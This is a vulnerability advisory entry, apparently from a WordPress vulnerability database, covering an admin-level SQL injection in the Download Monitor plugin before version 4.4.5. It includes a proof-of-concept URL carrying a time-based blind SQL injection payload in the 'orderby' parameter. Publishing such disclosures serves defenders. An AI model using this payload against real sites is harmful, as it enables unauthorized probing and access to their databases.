WordPress Plugin Vulnerabilities
Download Monitor < 4.4.5 - Admin+ SQL Injection
Description
The plugin does not properly validate and escape the "orderby" GET parameter before using it in a SQL statement when viewing the logs, leading to an SQL Injection issue
Proof of Concept
(There need to be at least one log for the payload to trigger) https://example.com/wp-admin/edit.php?post_type=dlm_download&page=download-monitor-logs&orderby=download_date%60+and+%28select+%28sleep%2810%29%29%29+and+%60user_id
Affects Plugins
References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
bl4derunner
Submitter
Anton Sarsadskikh
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-10-20 (about 2 years ago)
Added
2021-12-01 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)